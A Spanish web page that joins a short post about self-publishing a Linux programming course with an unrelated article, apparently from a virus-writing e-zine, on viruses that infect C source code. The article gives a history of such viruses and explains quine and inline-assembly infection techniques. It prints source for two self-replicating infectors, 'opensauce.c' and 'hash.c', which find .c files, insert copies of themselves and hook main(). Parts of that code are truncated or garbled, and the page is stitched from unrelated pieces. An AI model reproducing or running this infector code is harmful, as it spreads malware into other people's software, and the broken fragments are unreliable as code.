A la gente le gustó bastante y todavía recibo algunas dudas, correcciones o comentarios sobre el curso, lo que me hace bastante ilusión porque significa que se sigue utilizando

A raíz de los premios startup2.0, recordé la existencia de bubok, una web en la que subes tu PDF, diseñas una portada y permites que la gente pida copias impresas de tus escritos. Muy buena idea si quieres difundir tus trabajos evitando gastarte mucho dinero al principio. Intenté subir mi documento desde el portátil del trabajo (Debian + Iceweasel) y no me funcionó muy bien la web, así que miré un poco por Internet y vi que Lulu hacía prácticamente lo mismo. Enredé un poco con la web y finalmente subí el curso.

Lo podéis descargar y comprar desde mi tienda en Lulu: http://stores.lulu.com/garaizar. El material es copyleft, la descarga gratuita y si queréis tener las 81 páginas en papel, tendréis que pagar 6 euros, precio amigo ;-D (de esos 6 euros creo que me llevo 0.30 o algo así, intenté poner lo mínimo).

Si alguien se lo compra, que mande una foto de cómo queda, ¿vale?

Actualización: A sugerencia de Angel María, he vuelto a probar en Bubok y de maravilla (ahora con Ubuntu 8.04 y Firefox 3beta5). Aquí tenéis el resultado: http://www.bubok.com/libros/1561/gnulinux-programacion-de-sistemas.

Resumen

En este artículo comentaremos las posibilidades de infección mediante ataques a ficheros de código fuente, los antecedentes que ha habido en la materia y los desarrollos futuros que puedan darse.

El texto será acompañado de ejemplos en C a modo de “pruebas de concepto” de los detalles explicados. Así mismo, se presentarán técnicas de desarrollo de virus para código fuente mediante otras vías, desde un punto de vista menos práctico e indicando los pasos generales para su programación.

Introducción

Tal y como dice la letra de la célebre canción del Software Libre [1], actualmente mucha gente se esta sumando al movimiento del Software Libre o a variantes con fines más comerciales como el Open Source. El título de este artículo quiere hacer un guiño al estribillo de esa canción (“Join us now and share the software, you’ll be free, hackers, you’ll be free…”), indicando la posibilidad de que esa capacidad de distribución que ha tomado el código fuente en este tipo de entornos pueda ser utilizada para redistribuir código vírico.

Muchos de nosotros estamos empezando a desarrollar una fe casi ciega en los desarrolladores de programas con código abierto, ya que si el código es visible, será mucho más difícil que nos engañen o que hayan introducido efectos no deseados en esos programas. Si nos ponemos a pensar, cuando asistimos a un espectáculo de magia, muchos de los trucos necesitan de una cortina, mampara o algún elemento para ocultar cómo se nos está engañando, pero hay otros trucos que nos los hacen directamente a la cara, sin utilizar nada más que las manos, y aún así, caemos y nos los creemos. Algo parecido podría pasar con los programas de código abierto: el código está ahí y “cualquiera” lo puede ver y auditar, sin embargo, muy pocos lo hacen (¿quién ha auditado *todo* el código fuente que está corriendo en sus máquinas?) y, además, sería eventualmente posible ofuscar el código para que su comprensión se dificulte enormemente y poder introducir elementos ocultos y no deseados por el usuario en ese código.

Los virus de código fuente nunca han sido una amenaza real, básicamente porque, hasta hace bien poco, intercambiar programas distribuyendo el código fuente era algo muy inusual fuera de un ambiente demasiado geek. Los virus han tenido su hábitat natural dentro de los programas ejecutables, típicamente binarios, que se han distribuido de mano en mano durante todos estos años. A pesar de que las redes P2P han vuelto a relanzar el intercambio masivo de binarios, parece ser que este enfoque está yendo progresivamente a menos y que lo que se estila ahora mismo es pensar en una aproximación del tipo virus + gusano, que sea capaz de utilizar diferentes workstations o servidores como vectores de infección.

Intercambiar programas mediante el código fuente ya no es algo de freaks de la informática. En el mundillo del Software Libre y del Open Source es la manera más común de distribuir el código. Normalmente el código es auditado, por lo menos por el autor del mismo, aunque existen muchos mitos al respecto [2]. Sin embargo, se han dado ya varios casos en los que el servidor FTP oficial que distribuye el código fuente de un programa [3] [4], y en dichas ocasiones el código introducido fue muy obvio, pero podría haberse intentado un ataque más sutil.

No sé si en el futuro las redes P2P estarán plagadas de tarballs con el código fuente de un montón de programas, o si auditar el código fuente será una tarea automatizable (dónde surgiría un nuevo campo de batalla entre auditores y escritores de malware), pero lo que es un hecho constatable a día de hoy es que el intercambio de código fuente está en aumento, y, por ello, conviene analizar la plausibilidad de su utilización como vector de infección.

Antecedentes

Hasta la fecha han sido pocos y tímidos los infectores desarrollados con el objetivo de infectar código fuente. Las razones las acabamos de comentar: el código fuente no ha sido un buen vector de infección hasta la irrupción de la “revolución del código abierto” en el panorama del software actual.

virus de DOS, Urphin

En la lejana época de los virus de DOS, el virus Urphin [5] ya pensó en infectar código fuente como método de expansión. Su comportamiento no era nada extraño: una vez ejecutado permanecía residente (31h de int 21h) a la espera de que se ejecutase el programa TPC.EXE (Turbo Pascal Compiler) y era entonces cuando interceptaba los ficheros .PAS que contienen el código fuente de los programas en Pascal.

Una vez localizado el fichero .PAS, buscaba la palabra BEGIN, que indica el comienzo de un bloque de código en Pascal, y añadía un volcado hexadecimal de su código junto con el código en Pascal para ser ejecutado. Cuando el fichero .PAS se cerraba, el virus eliminaba el código recién introducido, con lo que se conseguían ejecutables infectados y ficheros .PAS limpios después de haber generado el ejecutable.

1994, la familia de virus SrcVir y el virus Die-Hard

En muchas páginas en las que se comenta la historia de los virus informáticos [6] se hace mención a la familia de virus SrcVir, aparecida en 1994 junto a una oleada de nuevos virus con objetivos y comportamientos extraños hasta la fecha. El objetivo de esta familia de virus era principalmente infectar ficheros de código fuente en C o Pascal, de forma similar al comentado Urphin.

En ese mismo año, fue programado y soltado in-the-wild otro virus que infectaba código fuente, el Die-Hard [7]. Este virus es bastante estándar (infector COM y EXE para DOS) a excepción de una característica: busca ficheros .ASM y .PAS, código fuente de ensamblador y Pascal respectivamente, para añadir un volcado con su código.

Infectores de bibliotecas de compilación

Existen virus que tienen como objetivo infectar los ficheros OBJ y LIB [8] para añadir su código a módulos o librerías que luego serán utilizadas para ser enlazadas con ejecutables. Los ficheros infectados de esta manera funcionarían únicamente como “portadores”, a la espera de que un ejecutable se enlace contra esos módulos o librerías y pueda seguir extendiendo el virus. De esta manera, los ejecutables no infectarían código ejecutable como tal, por lo que no hay peligro de autoinfección y no se debería contemplar en el código del virus, y los ficheros infectados son inútiles hasta que su código se incluye en un ejecutable, permaneciendo en un estado “latente” hasta entonces.

Cualquier código vírico en lenguajes de scripting

Como es obvio, cualquier virus que esté escrito en un lenguaje de scripting y tenga como objetivo infectar otros scripts, será un infector que copie su código fuente en el fichero “huésped”. Existen varias aproximaciones a este tipo de virus en Perl o Shell Script [9] [10], e incontables gusanos de Internet escritos en VisualBasicScript y otro tipo de lenguajes de scripting.

¿Por qué infectar código fuente?

Tal y como hemos comentado con anterioridad, es posible que este sea un campo en expansión y varios factores así lo demuestran: * El aumento del interés en Sistemas Operativos como GNU/Linux y *BSD genera una comunidad de usuarios cuyo principal valor es el código fuente y es utilizado como moneda de cambio. Algunos de estos nuevos usuarios se alejan de la antigua idea de hacker de UNIX y son menos técnicos (utilizando el ordenador como un electrodoméstico).

• El aumento del interés de los gobiernos y entidades públicas en utilizar software de código abierto, para aumentar su seguridad. El software de fuente abierta no es inherentemente más seguro que el de código cerrado si no se toman las medidas oportunas. Hay muchos mitos al respecto [2], además de intentos por parte de Microsoft de engañar a los consumidores con medias verdades [13].
• Algunos programas exigen ser compilados en cada ordenador por separado, ya sea porque es código libre que enlaza contra librerías o codecs propietarios, como porque exista una diferencia abismal entre la versión genérica para i386, y la compilada en el ordenador en cuestión. Este hecho exige que haya un entorno de desarrollo en más ordenadores. El ejemplo paradigmático de este caso es el Mplayer, multimedia player.

OK, pero… ¿cómo?

Escenario típico

Bob es un joven administrador de redes y sistemas apasionado por las redes wireless. Sus conocimientos sobre redes telemáticas son avanzados, pero no tiene ni idea de programar más allá de unos pocos scripts de shell sencillos. Una agradable noche de wardriving, mientras él y su compañero Dave escuchan Massive Attack y corretean por entre los routers de una compañía local, Bob queda asombrado del fantástico programa que tiene Dave para escanear redes inalámbricas. Ansioso, le pide la URL para descargárselo sin más dilación:

wget http://packetstormsecurify.nl/sniffers/wireless/wlanthrax-0.6.9.tar.gz
tar xzf wlanthrax-0.6.9.tar.gz
cd wlanthrax-0.6.9
./configure
make
make install

(nota: http://packetstormsecurify.nl no existe pero se podría comprar a un módico precio. Cualquier parecido con la coincidencia, es pura realidad)

Yeah! El programa funcionando y las redes rindiéndose a sus pies, ¡qué adrenalina! ¡como en los viejos tiempos! Lo que no sabe el pobre Bob es que ese tarball contenía malware y ahora lo tiene corriendo por las venas digitales de su portátil.

A Bob ya le había pasado esto antes, y desde entonces nunca hace esto como root. Obviamente el “make install” no funcionaría como un usuario normal, pero la herramienta seguiría siendo ejecutable y válida. Chico listo, pero aún desde un usuario normal podríamos intentar infectar todo el código fuente al que pudiésemos acceder con esos privilegios, que no tiene por qué ser poco.

¿Os parece inverosímil esta situación? ¿Cuántas veces hemos hecho tar xzf && ./configure && make && make install ciegamente? Yo reconozco que unas cuantas veces O;-D

Aproximación mediante ensamblador embebido

Todo programador de virus conoce herramientas de ingeniería inversa que proporcionan desensamblados de mucha calidad. Así rápidamente me vienen a la memoria el IDA disassembler o incluso el propio modo de desensamblado del HIEW. El port para UNIX del HIEW, el BIEW (que en realidad es el “hermano pequeño” de aquel) también soporta el desensamblado y podemos ver de forma cómoda el código fuente en ensamblador de casi cualquier programa.

Un enfoque de ASM inline para infectar ficheros fuente debería implementar un pequeño desensamblador del propio código, para poder incluirlo en el código fuente. Si tomamos como referencia el codigo fuente en C utilizado en GNU/Linux, deberíamos generar un desensamblador para nuestro código con la sintaxis AT&T e incluir en una función ese código:

int virus()
{
   __asm__(
  	"pusha\n\t"
	"call 0x8048086\n\t"
	[...]
	"mov $0x1,%%eax\n\t"
	"int $0x80"
  );
}

Para obtener ese desensamblado podemos hacer uso de la filosofía del Software Libre y conseguir el código que lo realiza en el BIEW o en el objdump. El fallo de esta manera de hacerlo reside en que el desensamblador ocuparía una porción muy considerable del código de nuestro virus, por lo que podría intentarse el uso de las herramientas comentadas directamente. Si nuestro objetivo es infectar código fuente, podemos hacer la presunción de que el ordenador infectado es un ordenador de desarrollo que puede tener instaladas ciertas herramientas. Mediante la syscall execve en UNIX podríamos ejecutar una de esas herramientas y generar el listado en un proceso hijo. Una versión optimizada de todo esto podría comprobar si existen algunas de las herramientas más comunes que puedan realizar este trabajo.

Pros:

• No hay que comerse demasiado la cabeza, está casi todo hecho ya, sólo hay que juntar las piezas
• Seguimos programando en ensamblador, controlando cada detalle.

Contras:

• No es precisamente “discreto”.
• Al ser ensamblador, perdemos el carácter multiplataforma inherente a la mayoría del código fuente.
• El proceso de desensamblado puede ser demasiado engorroso en ocasiones.

Aproximación mediante “quines”

Un “quine” es un programa que genera su propio código fuente *sin* leerse a sí mismo. Se han hecho concursos internacionales de programación de estos curiosos programitas, todos ellos en un ambiente ultra-freak, claro está.

Existen varias maneras de hacer quines, alguna muy enrevesadas y otras muy elegantes, pero la forma más funcional a mi modo de ver es utilizando arrays de caracteres. De hecho, me quedé muy sorprendido después de hacer mi primer quine, porque cuando vi el resto había muchos muy diferentes, pero el que hizo Ken Thompson era prácticamente igual, aunque un poco menos enrevesado: la idea principal es tener el código fuente en un array de chars para poder hacer lo siguiente:

printf("char array[] = \"%s\";" array);

Con lo que rompemos el círculo vicioso que proponen los quines cuando quieres sacar por pantalla tu propio código (si haces printf(“printf(\”printf(\”… no parece ser un buen enfoque ;-D).

Un tiempo más tarde descubrí una auténtica joya de la informática [11] cuando ví el problema que planteaba Thompson en su ponencia “Reflections on Trusting Trust” al ganar el ACM Award. Es impresionante entender las implicaciones de ese texto, y sorprende ver a un auténtico gurú como Ken Thompson hablando como un escritor de malware };-) Actualmente el tema que se plantea no tiene una solución muy clara y parece ser un quebradero de cabeza sin soluciones sencillas [12].

Bien, centrándonos en el tema vemos cómo es necesario un array de chars que contenga el código del programa. Es aquí donde pueden surgir las mayores diferencias. Thompson creó su array separando uno a uno los chars de la siguiente forma:

char s[] = {
        '\t',
        '0',
        '\n',
        '}',
        ';',
        '\n',
        '\n',
        'm',
        'a',
        'i',
        'n',
        '(',
        ')',
        '\n',

        ...

        0 };

En mi enfoque inicial vi que esto a parte de ser extraño resultaba demasiado obvio, es decir, se ve claramente como el contenido de ese array es código fuente en C. Por ello utilicé otra notación para guardar cada uno de los chars:

char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,

...

0 };

El primer objetivo estaba cumplido, eso no parece código fuente C a ojos de alguien poco familiarizado con la tabla ASCII. Sin embargo esta manera de definir el array aumentaba mucho el tamaño del mismo con respecto a un array en el que todos los chars estuviesen seguidos (no como en el primer ejemplo), por lo que había que pensar una manera de reducirlo. Lo primero que se me ocurrió para ello fue pensar en duplicar el espacio en el ejecutable, pero reducir a la mitad el espacio en el código fuente, creando un array así:

char s[] = "6D61696E2829207B0D0A69...";

De esta manera estoy utilizando mucho menos espacio en el fuente C. La contrapartida es que ahora utilizo 2 bytes para representar cada char dentro de mi array (¡qué desastre!). Para poder sacar por pantalla o escribir mi array ya no me vale con printf(), sino que tengo que hacer algo parecido a esto:

int i;
char nibblechar, nibble[2];

for(i=0;i<strlen(s);i+=2) {
	nibble[0] = s[i];
	nibble[1] = s[i+1];
 	sscanf(nibble,"%02X",&nibblechar);
        printf("%c", nibblechar);
}

Bastante chapucero, pero funciona O:-)

Otra cosa que tenemos que tener en cuenta es que nuestro objetivo ya no es sacar por pantalla nuestro propio código, sino insertarlo dentro de un programa en C y que el programa pueda ser compilado correctamente. Por ello, en el siguiente ejemplo he dividido el array inicial en otros tres arrays: uno para los includes y la declaración de la función virus(), otro para la primera parte de dicha función y el otro para el final de la función virus(). Veamos todo esto:

<--------------------->
<----opensauce.c------>
<--------------------->

/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while>0)
      if>=0) {
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while>0) {
              if( >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
<---------------------->
<--end of-opensauce.c-->
<---------------------->

El código no es un prodigio de la programación, pero sirve para enseñar lo que os quería explicar y además funciona (más o menos). En el array “charvirusend” se han suprimido muchas líneas para no engordar innecesariamente este texto (si deseáis una versión funcional del código, mirad en la e-zine 29a #7). El resto de código es bastante trivial:

1) Buscar ficheros en el directorio actual: abrir el directorio con opendir(), ir leyendo cada una de sus entradas con readdir() y cerrarlo con closedir().

2) Una vez que tenemos una posible víctima, comprobamos si se trata de un fichero “.c” ó “.C”, de ser así comprobamos si ya ha sido infectado (contiene la marca “/* sauce */”) y si es un fuente C en el que existe una función main().

3) Si se ha cumplido todo lo especificado en el punto anterior, procedemos a infectar, copiando los includes y la declaración de la función virus() al principio (charinclude), añadiendo una llamada a dicha función dentro de main(), y generando al final del código la función virus() (mediante el uso de “charvirus” y “charvirusend” además de unas cuantas llamadas a write() para definir los arrays).

4) Una vez terminada la infección, se cierra el fichero y el directorio, porque sólo se infecta un fichero cada vez.

5) Se termina la función virus(), por lo que se regresa al código original y todo funciona como debería funcionar.

Veamos otro ejemplo de este tipo de virus, algo más evolucionado:

<--------------->
<-----hash.c---->
<--------------->

/*
 * Hash,
 *
 * quine-based source code infector.
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

void init_hash(); 

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page,
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "\n#include <stdio.h>\n#include <sys/stat.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <fcntl.h>\n\nvoid init_hash();\n";
	char hashbeg[] = "\nvoid init_hash()\n{\n\tint i, j, fd, size, mpos, ipos, page, \n\tihole, thole, bhole, ehole; struct dirent *dir; DIR *d;\n\tvoid *ptr;\n\tchar hashinc[] = \"";
	char hashend[] = "\tchar *buf;\n\n\td = opendir(\".\");\n\twhile>0)\n\t\tif(!(strcmp(dir->d_name+strlen(dir->d_name)-2,\".c\"))||\n\t\t   !(strcmp(dir->d_name+strlen(dir->d_name)-2,\".C\"))) \n\t\t\tif>=0)\n\t\t\t{\n\t\t\t\tsize = lseek(fd, 0, SEEK_END);\n\t\t\t\tptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);\n\t\t\t\tif( (!strstr(ptr,\"init_hash\")) &&\n\t\t\t\t  ( >0) ||\n\t\t\t\t    >0) ||\n\t\t\t\t    >0) || \n\t\t\t\t    >0) ||\n\t\t\t\t    >0) ||\n\t\t\t\t    >0) ) )\n\t\t\t\t{\n\t\t\t\t\tmpos = (int)strstr )\n\t\t\t\t\t{\n\t\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\tpage = 3 * (int)sysconf(_SC_PAGESIZE);\n\t\t\t\t\tftruncate(fd, size+page);\n\t\t\t\t\tptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);\n\t\t\t\t\tipos = (int)strstr(ptr, \"#include <\");\n\t\t\t\t\tipos = (int)strstr;\n\t\t\t\t\tstrcpy(buf,\"\\n\\tinit_hash();\");\n\t\t\t\t\tthole = strlen(buf);\n\t\t\t\t\tfor(i=(size+ihole-mpos)/thole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);\n\t\t\t\t\tmemcpy(ptr+mpos, buf, thole);\n\t\t\t\t\tbhole = strlen(hashbeg);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole, hashbeg, bhole);\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashinc));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashinc);i,j)\n\t\t\t\t\t\tswitch(hashinc[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashinc[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashbeg[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashbeg);i,j)\n\t\t\t\t\t\tswitch(hashbeg[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashbeg[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashend[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashend));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashend);i,j)\n\t\t\t\t\t\tswitch(hashend[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashend[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\");\n\t\t\t\t\tbhole += 3;\n\n\t\t\t\t\tehole = strlen(hashend);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, hashend, ehole);\n\t\t\t\t\tmsync(ptr, size+page, MS_SYNC);\n\t\t\t\t\tmunmap(ptr, size+page);\n\t\t\t\t\tftruncate(fd, size+ihole+thole+bhole+ehole);\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t}\n\t\t\t}\n}\n";
	char *buf;

	d = opendir(".");
	while>0)
		if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
		   !(strcmp(dir->d_name+strlen(dir->d_name)-2,".C")))
			if>=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &&
				  ( >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include <")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include <");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i>=0;i--)
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i>=0;i--)
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);

					/* declaracion de arrays y arrays */
					buf = (char *)malloc(100*sizeof(char)+strlen(hashinc));
					for(i=0,j=0;i<strlen(hashinc);i,j)
						switch(hashinc[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashinc[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] =\"");
					bhole += 21;
